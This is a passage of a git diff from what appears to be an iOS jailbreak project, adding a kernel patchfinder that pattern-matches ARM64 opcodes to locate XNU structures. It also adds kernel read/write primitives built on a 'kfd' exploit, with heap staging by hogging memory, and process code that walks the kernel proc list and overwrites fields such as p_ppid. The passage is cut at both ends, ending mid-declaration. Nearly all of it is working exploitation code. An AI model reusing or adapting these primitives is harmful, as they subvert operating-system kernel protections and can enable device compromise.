kerndumpbase, n, text_base); +} + +#ifndef NOT_DARWIN +#include +#else +#include "mach-o_nlist.h" +#endif + + +addr_t +find_symbol(const char *symbol) +{ + //XXX Temporary disabled + return 0; + + if (!symbol) { + return 0; + } + + unsigned i; + const struct mach_header *hdr = kernel_mh; + const uint8_t *q; + int is64 = 0; + + if (IS64(hdr)) { + is64 = 4; + } + +/* XXX will only work on a decrypted kernel */ + if (!kernel_delta) { + return 0; + } + + /* XXX I should cache these. ohwell... */ + q = (uint8_t *)(hdr + 1) + is64; + for (i = 0; i < hdr->ncmds; i++) { + const struct load_command *cmd = (struct load_command *)q; + if (cmd->cmd == LC_SYMTAB) { + const struct symtab_command *sym = (struct symtab_command *)q; + const char *stroff = (const char *)kernel + sym->stroff + kernel_delta; + if (is64) { + uint32_t k; + const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta); + for (k = 0; k < sym->nsyms; k++) { + if (s[k].n_type & N_STAB) { + continue; + } + if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) { + if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) { + /* XXX this is an unslid address */ + return s[k].n_value; + } + } + } + } + } + q = q + cmd->cmdsize; + } + return 0; +} + +//XXXXX +addr_t find_cdevsw(void) +{ +// MOV X1, #0 +// com.apple.kernel:__text:FFFFFFF0081FB580 MOV X2, #0 +// com.apple.kernel:__text:FFFFFFF0081FB584 MOV W3, #0 +// com.apple.kernel:__text:FFFFFFF0081FB588 MOV W4, #1 +// com.apple.kernel:__text:FFFFFFF0081FB58C MOV X5, #0 +// 01 00 80 D2 +// 02 00 80 D2 +// 03 00 80 52 +// 24 00 80 52 +// 05 00 80 D2 + //1. opcode + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if ((k[0] & 0xff000000) == 0xb4000000 //cbz + && k[1] == 0xd2800001 //mov x1, #0 + && k[2] == 0xd2800002 //mov x2, #0 + && k[3] == 0x52800003 //mov w3, #0 + && k[4] == 0x52800024 //mov w4, #1 + && k[5] == 0xd2800005 /* mov x5, #0 */) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Step into High address, and find adrp opcode. + addr = step64(kernel, addr, 0x80, INSN_ADRP); + if (!addr) { + return 0; + } + //3. Get label from adrl opcode. + addr = follow_adrl(kernel, addr); + + return addr + kerndumpbase; +} + +addr_t find_gPhysBase(void) +{ + //_invalidate_icache64 + //1. Find opcode (5F 00 00 71 20 01 00 54 [ADRL 8 bytes] 42 00 40 F9 00 00 02 CB) + // cmp w2, #0 + // b.eq #0x28 + // adrl * + // ldr x2, [x2] + // sub x0, x0, x2 + + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if (k[0] == 0x7100005F + && k[1] == 0x54000120 + && (k[2] & 0x9F000000) == 0x90000000 //adrp + && (k[3] & 0xFF800000) == 0x91000000 //add + && k[4]== 0xF9400042 + && k[5] == 0xCB020000) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Get label from [ADRL 8 bytes] + addr = follow_adrl(kernel, addr + 8); + + return addr + kerndumpbase; +} + +addr_t find_gPhysSize(void) +{ + //_invalidate_icache64 + //1. Find opcode ([STR 4 bytes] 08 01 09 8B 08 C5 72 92 08 01 09 CB) + // str * + // add x8, x8, x9 + // and x8, x8, #0xffffffffffffc000 + // sub x8, x8, x9 + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if ((k[0] & 0xFFC00000) == 0xF9000000 //str + && k[1] == 0x8b090108 + && k[2] == 0x9272c508 + && k[3] == 0xcb090108) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return find_gPhysBase() + 8; + + //2. Get label from [ADRL 8 bytes] + addr = follow_adrpLdr(kernel, addr + 0x18); + + return addr + kerndumpbase; +} + +addr_t find_gVirtBase(void) +{ + //_invalidate_icache64 + //1. Find opcode (5F 00 00 71 20 01 00 54 [ADRL 8 bytes] 42 00 40 F9 00 00 02 CB) + [ADRL X2, _gVirtBase] + // cmp w2, #0 + // b.eq #0x28 + // adrl * + // ldr x2, [x2] + // sub x0, x0, x2 + + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if (k[0] == 0x7100005F + && k[1] == 0x54000120 + && (k[2] & 0x9F000000) == 0x90000000 //adrp + && (k[3] & 0xFF800000) == 0x91000000 //add + && k[4]== 0xF9400042 + && k[5] == 0xCB020000) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Get label from [ADRL 8 bytes] + addr = follow_adrl(kernel, addr + 0x18); + + return addr + kerndumpbase; +} + +addr_t find_perfmon_dev_open_2(void) +{ +//__TEXT_EXEC:__text:FFFFFFF007324700 3F 01 08 6B CMP W9, W8 +//__TEXT_EXEC:__text:FFFFFFF007324704 E1 01 00 54 B.NE loc_FFFFFFF007324740 +//__TEXT_EXEC:__text:FFFFFFF007324708 A8 5E 00 12 AND W8, W21, #0xFFFFFF +//__TEXT_EXEC:__text:FFFFFFF00732470C 1F 05 00 71 CMP W8, #1 +//__TEXT_EXEC:__text:FFFFFFF007324710 68 02 00 54 B.HI loc_FFFFFFF00732475C + + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if (k[0] == 0x53187ea8 //lsr w8, w21, #0x18 + && (k[2] & 0xffc0001f) == 0xb9400009 // ldr w9, [Xn, n] + && k[3] == 0x6b08013f //cmp w9, w8 v + && (k[4] & 0xff00001f) == 0x54000001 //b.ne * + && (k[5] & 0xfffffc00) == 0x12005c00 //and Wn, Wn, 0xfffff v + && k[6] == 0x7100051f //cmp w8, #1 v + && (k[7] & 0xff00001f) == 0x54000008 /* b.hi * v */) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Find begin of address(bof64) + addr = bof64(kernel, xnucore_base, addr); + if (!addr) { + return 0; + } + + //3. check PACIBSP (7F 23 03 D5) + uint32_t op = *(uint32_t *)(kernel + addr - 4); + if(op == 0xD503237F) { + addr -= 4; + } + + return addr + kerndumpbase; +} + +addr_t find_perfmon_dev_open(void) +{ + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if ((k[0] & 0xff000000) == 0x34000000 //cbz w* + && k[1] == 0x52800300 //mov W0, #0x18 + && (k[2] & 0xff000000) == 0x14000000 //b* + && k[3] == 0x52800340 //mov w0, #0x1A + && (k[4] & 0xff000000) == 0x14000000 /* b* */) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return find_perfmon_dev_open_2(); + + //2. Find begin of address(bof64) + addr = bof64(kernel, xnucore_base, addr); + if (!addr) { + return 0; + } + + //3. check PACIBSP (7F 23 03 D5) + uint32_t op = *(uint32_t *)(kernel + addr - 4); + if(op == 0xD503237F) { + addr -= 4; + } + + return addr + kerndumpbase; +} + +addr_t find_perfmon_devices(void) +{ + + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if (k[0] == 0x6b08013f //cmp w9, w8 + && (k[1] & 0xff00001f) == 0x54000001 //b.ne * + && k[2] == 0x52800028 //mov w8, #1 + && k[3] == 0x5280140a /* mov w10, #0xa0 */) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Step into High address, and find adrp opcode. + addr = step64(kernel, addr, 0x18, INSN_ADRP); + if (!addr) { + return 0; + } + //3. Get label from adrl opcode. + addr = follow_adrl(kernel, addr); + + return addr + kerndumpbase; +} + +addr_t find_ptov_table(void) +{ + //1. Find opcode (49 00 80 52 04 00 00 14 09 00 80 D2 02 00 00 14) + uint32_t bytes[] = { + 0x52800049, + 0x14000004, + 0xd2800009, + 0x14000002 + }; + + uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes)); + + if (!addr) { + return 0; + } + addr -= (uint64_t)kernel; + + //2. Step into High address, and find adrp opcode. + addr = step64(kernel, addr, 0x20, INSN_ADRP); + if (!addr) { + return 0; + } + //3. Get label from adrl opcode. + addr = follow_adrl(kernel, addr); + + return addr + kerndumpbase; +} + +addr_t find_vn_kqfilter_2(void) +{ + //1F 05 00 71 + //60 02 00 54 + //1F 11 00 71 + //E0 0C 00 54 + //1F 1D 00 71 + + bool found = false; + uint64_t addr = 0; + addr_t off; + uint32_t *k; + k = (uint32_t *)(kernel + xnucore_base); + for (off = 0; off < xnucore_size - 4; off += 4, k++) { + if (k[0] == 0x7100051f //cmp w8, #1 + && (k[1] & 0xff00001f) == 0x54000000 //b.eq * + && k[2] == 0x7100111f //cmp w8, #4 + && (k[3] & 0xff00001f) == 0x54000000 //b.eq * + && k[4] == 0x71001d1f /* cmp w8, #7 */) { + addr = off + xnucore_base; + found = true; + } + } + if(!found) + return 0; + + //2. Find begin of address(bof64) + addr = bof64(kernel, xnucore_base, addr); + if (!addr) { + return 0; + } + + //3. check PACIBSP (7F 23 03 D5) + uint32_t op = *(uint32_t *)(kernel + addr - 4); + if(op == 0xD503237F) { + addr -= 4; + } + + return addr + kerndumpbase; +} + +addr_t find_vn_kqfilter(void) +{ + //1. Find opcode (01 00 80 D2 E0 03 15 AA E2 03 13 AA E3 03 14 AA) + uint32_t bytes[] = { + 0xD2800001, + 0xAA1503E0, + 0xAA1303E2, + 0xAA1403E3 + }; + + uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes)); + + if (!addr) { + return find_vn_kqfilter_2(); + } + addr -= (uint64_t)kernel; + + //2. Find begin of address(bof64) + addr = bof64(kernel, xnucore_base, addr); + if (!addr) { + return 0; + } + + //3. check PACIBSP (7F 23 03 D5) + uint32_t op = *(uint32_t *)(kernel + addr - 4); + if(op == 0xD503237F) { + addr -= 4; + } + + return addr + kerndumpbase; +} + +addr_t find_proc_object_size(void) { + //footprint + //_proc_task: ADRP X8, #qword_FFFFFFF00A3091E8@PAGE + //qword_FFFFFFF00A3091E8 DCQ 0x530 + + //E0 03 15 AA + //E1 04 81 52 + //02 01 80 52 + //03 11 80 52 + uint32_t bytes[] = { + 0xAA1503E0, + 0x528104E1, + 0x52800102, + 0x52801103 + }; + + uint64_t addr = (uint64_t)boyermoore_horspool_memmem((unsigned char *)((uint64_t)kernel + xnucore_base), xnucore_size, (const unsigned char *)bytes, sizeof(bytes)); + + if (!addr) { + return 0; + } + addr -= (uint64_t)kernel; + + //2. Step into High address, and find adrp opcode. + addr = step64(kernel, addr, 0x20, INSN_ADRP); + if (!addr) { + return 0; + } + + //3. Get label from adrl opcode. + addr = follow_adrpLdr(kernel, addr); + + //4. Get val from addr + uint64_t val = *(uint64_t *)(kernel + addr); + + return val; +} +//XXXXX diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c new file mode 100644 index 00000000..e463e40a --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c @@ -0,0 +1,103 @@ +// +// proc.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "../proc.h" +#include "../offsets.h" +#include "../krw.h" +#include +#include +#include + +uint64_t getProc(pid_t pid) { + uint64_t proc = get_kernproc(); + + while (true) { + if(kread32(proc + off_p_pid) == pid) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + if(!proc) { + return -1; + } + } + + return 0; +} + +uint64_t getProcByName(char* nm) { + uint64_t proc = get_kernproc(); + + while (true) { + uint64_t nameptr = proc + off_p_name; + char name[32]; + do_kread(nameptr, &name, 32); +// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name); + if(strcmp(name, nm) == 0) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + if(!proc) { + return -1; + } + } + + return 0; +} + +int getPidByName(char* nm) { + uint64_t proc = getProcByName(nm); + if(proc == -1) return -1; + return kread32(proc + off_p_pid); +} + +int funProc(uint64_t proc) { + int p_ppid = kread32(proc + off_p_ppid); + printf("[i] self proc->p_ppid: %d\n", p_ppid); + printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid); + kwrite32(proc + off_p_ppid, 0x1); + printf("[+] Patched getppid(): %u\n", getppid()); + kwrite32(proc + off_p_ppid, p_ppid); + printf("[+] Restored getppid(): %u\n", getppid()); + + int p_original_ppid = kread32(proc + off_p_original_ppid); + printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid); + + int p_pgrpid = kread32(proc + off_p_pgrpid); + printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid); + + int p_uid = kread32(proc + off_p_uid); + printf("[i] self proc->p_uid: %d\n", p_uid); + + int p_gid = kread32(proc + off_p_gid); + printf("[i] self proc->p_gid: %d\n", p_gid); + + int p_ruid = kread32(proc + off_p_ruid); + printf("[i] self proc->p_ruid: %d\n", p_ruid); + + int p_rgid = kread32(proc + off_p_rgid); + printf("[i] self proc->p_rgid: %d\n", p_rgid); + + int p_svuid = kread32(proc + off_p_svuid); + printf("[i] self proc->p_svuid: %d\n", p_svuid); + + int p_svgid = kread32(proc + off_p_svgid); + printf("[i] self proc->p_svgid: %d\n", p_svgid); + + int p_sessionid = kread32(proc + off_p_sessionid); + printf("[i] self proc->p_sessionid: %d\n", p_sessionid); + + uint64_t p_puniqueid = kread64(proc + off_p_puniqueid); + printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid); + + printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid); + kwrite64(proc + off_p_puniqueid, 0x4142434445464748); + printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + kwrite64(proc + off_p_puniqueid, p_puniqueid); + printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + + return 0; +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h new file mode 100644 index 00000000..0be6af1d --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h @@ -0,0 +1,14 @@ +// +// proc.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +uint64_t getProc(pid_t pid); +uint64_t getProcByName(char* nm); +int getPidByName(char* nm); + +int funProc(uint64_t proc); diff --git a/RootHelperSample/launchdshim/launchdhook/fun/krw.h b/RootHelperSample/launchdshim/launchdhook/fun/krw.h new file mode 100644 index 00000000..3eb34065 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/krw.h @@ -0,0 +1,44 @@ +// +// krw.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#ifndef krw_h +#define krw_h + +#include +#include +#include + +uint64_t unsign_kptr(uint64_t pac_kaddr); +uint64_t kUNSIGN_PTR(uint64_t pac_kaddr); +__attribute__ ((optnone)) uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom); +void do_kclose(void); +void early_kread(uint64_t kfd, uint64_t kaddr, void* uaddr, uint64_t size); +void early_kreadbuf(uint64_t kfd, uint64_t kaddr, void* output, size_t size); +void do_kread(uint64_t kaddr, void* uaddr, uint64_t size); +void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size); +uint64_t get_kslide(void); +uint64_t get_kernproc(void); +uint64_t get_selftask(void); +uint64_t get_selfpmap(void); +uint64_t get_kerntask(void); +uint8_t kread8(uint64_t where); +uint32_t kread16(uint64_t where); +uint32_t kread32(uint64_t where); +uint64_t kread64(uint64_t where); +uint64_t kread64_smr(uint64_t where); +uint64_t kread_smrptr(uint64_t where); +void kwrite8(uint64_t where, uint8_t what); +void kwrite16(uint64_t where, uint16_t what); +void kwrite32(uint64_t where, uint32_t what); +void kwrite64(uint64_t where, uint64_t what); +uint64_t do_vtophys(uint64_t what); +uint64_t do_phystokv(uint64_t what); +uint64_t kread64_ptr(uint64_t kaddr); +uint64_t kread_ptr(uint64_t va); +int kreadbuf(uint64_t kaddr, void* output, size_t size); +int kwritebuf(uint64_t where, const void *buf, size_t size); +#endif /* krw_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/fun/krw.m b/RootHelperSample/launchdshim/launchdhook/fun/krw.m new file mode 100644 index 00000000..f7a3d50e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/krw.m @@ -0,0 +1,343 @@ +// +// krw.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "krw.h" +#include "offsets.h" +#include "libkfd.h" +//#include "mdc/helpers.h" +#include "memoryControl.h" +#include "kpf/patchfinder.h" +#include "../jbserver/info.h" +#include "../jbserver/primitives_external.h" +#include + + +uint64_t _kfd = 0; +uint64_t unsign_kptr(uint64_t pac_kaddr) { + if ((pac_kaddr & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) { + return pac_kaddr; + } + if(T1SZ_BOOT != 0) { + return pac_kaddr |= ~((1ULL << (64U - T1SZ_BOOT)) - 1U); + } + return pac_kaddr; +} + +uint64_t kUNSIGN_PTR(uint64_t pac_kaddr) { + if ((pac_kaddr & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) { + return pac_kaddr; + } + if(T1SZ_BOOT != 0) { + return pac_kaddr |= ~((1ULL << (64U - T1SZ_BOOT)) - 1U); + } + return pac_kaddr; +} + +__attribute__ ((optnone)) uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom) +{ + if (use_headroom) { + size_t STATIC_HEADROOM = (headroom * (size_t)1024 * (size_t)1024); + uint64_t* memory_hog = NULL; + size_t pagesize = sysconf(_SC_PAGESIZE); + size_t memory_avail = os_proc_available_memory(); + size_t hog_headroom = STATIC_HEADROOM + puaf_pages * pagesize; + size_t memory_to_hog = memory_avail > hog_headroom ? memory_avail - hog_headroom: 0; + int32_t old_memory_limit = 0; + memorystatus_memlimit_properties2_t mmprops; + // print_usize(memory_avail); + // print_usize(hog_headroom); + // print_usize(hog_headroom); + // print_usize(memory_to_hog); + // print_usize(memory_to_hog); + if (hasEntitlement(CFSTR("com.apple.private.memorystatus"))) { + uint32_t new_memory_limit = (uint32_t)(getPhysicalMemorySize() / UINT64_C(1048576)) * 2; + int ret = memorystatus_control(MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES, getpid(), 0, &mmprops, sizeof(mmprops)); + if (ret == 0) { + print_i32(mmprops.v1.memlimit_active); + old_memory_limit = mmprops.v1.memlimit_active; + ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), new_memory_limit, NULL, 0); + if (ret == 0) { + print_success("The memory limit for pid %d has been set to %u MiB successfully", getpid(), new_memory_limit); + } else { + print_warning("Failed to set memory limit: %d (%s)", errno, strerror(errno)); + } + } else { + print_warning("could not get current memory limits"); + } + } + if (memory_avail > hog_headroom) { + memory_hog = malloc(memory_to_hog); + if (memory_hog != NULL) { + for (uint64_t i = 0; i < memory_to_hog / sizeof(uint64_t); i++) { + memory_hog[i] = 0x4141414141414141; + } + } + print_message("Filled up hogged memory with A's"); + } else { + print_message("Did not hog memory because there is too little free memory"); + } + print_message("Performing kopen"); + _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method); + + if (memory_hog) free(memory_hog); + if (old_memory_limit) { + // set the limit back because it affects os_proc_available_memory + int ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), old_memory_limit, NULL, 0); + if (ret == 0) { + print_success("[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully", getpid(), old_memory_limit); + } else { + print_warning("[memoryHogger] Failed to set memory limit: %d (%s)", errno, strerror(errno)); + } + } + } else { + _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method); + } + + + _offsets_init(); + // set gsystemInfo + gSystemInfo.kernelConstant.slide = ((struct kfd *)_kfd)->perf.kernel_slide; + // gPrimitives.kreadbuf = kreadbuf; + // gPrimitives.kwritebuf = kwritebuf; + return _kfd; +} + +void do_kclose(void) +{ + kclose((u64)(_kfd)); +} + +void early_kread(uint64_t kfd, u64 kaddr, void* uaddr, u64 size) +{ + kread((u64)(kfd), kaddr, uaddr, size); +} + +uint64_t early_kread64(uint64_t kfd, uint64_t where) { + uint64_t out; + kread((u64)(kfd), where, &out, sizeof(uint64_t)); + return out; +} + +uint32_t early_kread32(uint64_t kfd, uint64_t where) { + return early_kread64(kfd, where) & 0xffffffff; +} + +void early_kreadbuf(uint64_t kfd, uint64_t kaddr, void* output, size_t size) +{ + uint64_t endAddr = kaddr + size; + uint32_t outputOffset = 0; + unsigned char* outputBytes = (unsigned char*)output; + + for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4) + { + uint32_t k = early_kread32(kfd, curAddr); + + unsigned char* kb = (unsigned char*)&k; + for(int i = 0; i < 4; i++) + { + if(outputOffset == size) break; + outputBytes[outputOffset] = kb[i]; + outputOffset++; + } + if(outputOffset == size) break; + } +} + + +void do_kread(u64 kaddr, void* uaddr, u64 size) +{ + kread(_kfd, kaddr, uaddr, size); +} + +void do_kwrite(void* uaddr, u64 kaddr, u64 size) +{ + kwrite(_kfd, uaddr, kaddr, size); +} + +uint64_t get_kslide(void) { + return ((struct kfd*)_kfd)->perf.kernel_slide; +} + +uint64_t get_kernproc(void) { + return ((struct kfd*)_kfd)->info.kaddr.kernel_proc; +} + +uint64_t get_selftask(void) { + return ((struct kfd*)_kfd)->info.kaddr.current_task; +} + +uint64_t get_selfpmap(void) { + return ((struct kfd*)_kfd)->info.kaddr.current_pmap; +} + +uint64_t get_kerntask(void) { + return ((struct kfd*)_kfd)->info.kaddr.kernel_task; +} + + +uint8_t kread8(uint64_t where) { + uint8_t out; + kread(_kfd, where, &out, sizeof(uint8_t)); + return out; +} +uint32_t kread16(uint64_t where) { + uint16_t out; + kread(_kfd, where, &out, sizeof(uint16_t)); + return out; +} +uint32_t kread32(uint64_t where) { + uint32_t out; + kread(_kfd, where, &out, sizeof(uint32_t)); + return out; +} +uint64_t kread64(uint64_t where) { + uint64_t out; + kread(_kfd, where, &out, sizeof(uint64_t)); + return out; +} + +//Thanks @jmpews +uint64_t kread64_smr(uint64_t where) { + uint64_t value = unsign_kptr(kread64(where)); + if((value & 0x400000000000) != 0) + value &= 0xFFFFFFFFFFFFFFE0; + return value; +} + +uint64_t kread_smrptr(uint64_t where) { + uint64_t value = unsign_kptr(kread64(where)); + if((value & 0x400000000000) != 0) + value &= 0xFFFFFFFFFFFFFFE0; + return value; +} + + +// uint64_t kread_smrptr(uint64_t va) +// { +// uint64_t value = kread_ptr(va); + +// uint64_t bits = (kconstant(smrBase) << (62-kconstant(T1SZ_BOOT))); + +// uint64_t case1 = 0xFFFFFFFFFFFFC000 & ~bits; +// uint64_t case2 = 0xFFFFFFFFFFFFFFE0 & ~bits; + +// if ((value & bits) == 0) { +// if (value) { +// value = (value & case1) | bits; +// } +// } +// else { +// value = (value & case2) | bits; +// } + +// return value; +// } + +void kwrite8(uint64_t where, uint8_t what) { + uint8_t _buf[8] = {}; + _buf[0] = what; + _buf[1] = kread8(where+1); + _buf[2] = kread8(where+2); + _buf[3] = kread8(where+3); + _buf[4] = kread8(where+4); + _buf[5] = kread8(where+5); + _buf[6] = kread8(where+6); + _buf[7] = kread8(where+7); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} + +void kwrite16(uint64_t where, uint16_t what) { + u16 _buf[4] = {}; + _buf[0] = what; + _buf[1] = kread16(where+2); + _buf[2] = kread16(where+4); + _buf[3] = kread16(where+6); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} + +void kwrite32(uint64_t where, uint32_t what) { + u32 _buf[2] = {}; + _buf[0] = what; + _buf[1] = kread32(where+4); + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} +void kwrite64(uint64_t where, uint64_t what) { + u64 _buf[1] = {}; + _buf[0] = what; + kwrite((u64)(_kfd), &_buf, where, sizeof(u64)); +} + +uint64_t do_vtophys(uint64_t what) { + return vtophys((struct kfd*)(_kfd), what); +} + +uint64_t do_phystokv(uint64_t what) { + return phystokv((struct kfd*)(_kfd), what); +} + +uint64_t kread64_ptr(uint64_t kaddr) { + uint64_t ptr = kread64(kaddr); + if ((ptr >> 55) & 1) { + return unsign_kptr(ptr); + } + + return ptr; +} + +uint64_t kread_ptr(uint64_t va) +{ + return unsign_kptr(kread64(va)); +} + +int kreadbuf(uint64_t kaddr, void* output, size_t size) +{ + uint64_t endAddr = kaddr + size; + uint32_t outputOffset = 0; + unsigned char* outputBytes = (unsigned char*)output; + + for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4) + { + uint32_t k = kread32(curAddr); + + unsigned char* kb = (unsigned char*)&k; + for(int i = 0; i < 4; i++) + { + if(outputOffset == size) break; + outputBytes[outputOffset] = kb[i]; + outputOffset++; + } + if(outputOffset == size) break; + } + return 0; +} + +int kwritebuf(uint64_t where, const void *buf, size_t size) +{ + if (size == 1) { + kwrite8(where, *(uint8_t*)buf); + } + else if (size == 2) { + kwrite16(where, *(uint16_t*)buf); + } + else if (size == 4) { + kwrite32(where, *(uint32_t*)buf); + } + else { + if (size >= UINT16_MAX) { + for (uint64_t start = 0; start < size; start += UINT16_MAX) { + uint64_t sizeToUse = UINT16_MAX; + if (start + sizeToUse > size) { + sizeToUse = (size - start); + } + kwrite((u64)(_kfd), (void*)((uint8_t *)buf)+start, where+start, sizeToUse); + } + } else { + kwrite((u64)(_kfd), (void*)buf, where, size); + } + } + return 0; +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h new file mode 100644 index 00000000..fc844144 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h @@ -0,0 +1,40 @@ +// +// memoryControl.h +// PureKFD +// +// Created by Nick Chan on 10/12/2023. +// + +#ifndef memoryControl_h +#define memoryControl_h + +#include +#include +#include +#include +#include +#define MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT 6 +#define MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES 8 + +typedef struct CF_BRIDGED_TYPE(id) __SecTask *SecTaskRef; +_Nullable SecTaskRef SecTaskCreateFromSelf(CFAllocatorRef _Nullable allocator); +_Nullable CFTypeRef SecTaskCopyValueForEntitlement(SecTaskRef _Nonnull task, CFStringRef _Nonnull entitlement, CFErrorRef _Nullable * _Nullable error); + +bool hasEntitlement(CFStringRef _Nonnull entitlement); +int memorystatus_control(uint32_t command, int32_t pid, uint32_t flags, void * _Nullable buffer, size_t buffersize); +uint64_t getPhysicalMemorySize(void); + +typedef struct memorystatus_memlimit_properties { + int32_t memlimit_active; /* jetsam memory limit (in MB) when process is active */ + uint32_t memlimit_active_attr; + int32_t memlimit_inactive; /* jetsam memory limit (in MB) when process is inactive */ + uint32_t memlimit_inactive_attr; +} memorystatus_memlimit_properties_t; + +typedef struct memorystatus_memlimit_properties2 { + memorystatus_memlimit_properties_t v1; + uint32_t memlimit_increase; /* jetsam memory limit increase (in MB) for active and inactive states */ + uint32_t memlimit_increase_bytes; /* bytes used to determine the jetsam memory limit increase, for active and inactive states */ +} memorystatus_memlimit_properties2_t; + +#endif /* memoryControl_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m new file mode 100644 index 00000000..507f3f36 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m @@ -0,0 +1,23 @@ +// +// memoryControl.m +// PureKFD +// +// Created by Nick Chan on 10/12/2023. +// + +#import +#include "memoryControl.h" + +bool hasEntitlement(CFStringRef entitlement) { + SecTaskRef task = SecTaskCreateFromSelf(NULL); + CFTypeRef value = SecTaskCopyValueForEntitlement(task, entitlement, NULL); + if (value != nil) { + CFRelease(value); + } + CFRelease(task); + return (value != NULL); +} + +uint64_t getPhysicalMemorySize(void) { + return NSProcessInfo.processInfo.physicalMemory; +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/offsets.h b/RootHelperSample/launchdshim/launchdhook/fun/offsets.h new file mode 100644 index 00000000..1c987d9f --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/offsets.h @@ -0,0 +1,104 @@ +// +// offsets.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +extern uint32_t off_p_list_le_prev; +extern uint32_t off_p_proc_ro; +extern uint32_t off_p_ppid; +extern uint32_t off_p_original_ppid; +extern uint32_t off_p_pgrpid; +extern uint32_t off_p_uid; +extern uint32_t off_p_gid; +extern uint32_t off_p_ruid; +extern uint32_t off_p_rgid; +extern uint32_t off_p_svuid; +extern uint32_t off_p_svgid; +extern uint32_t 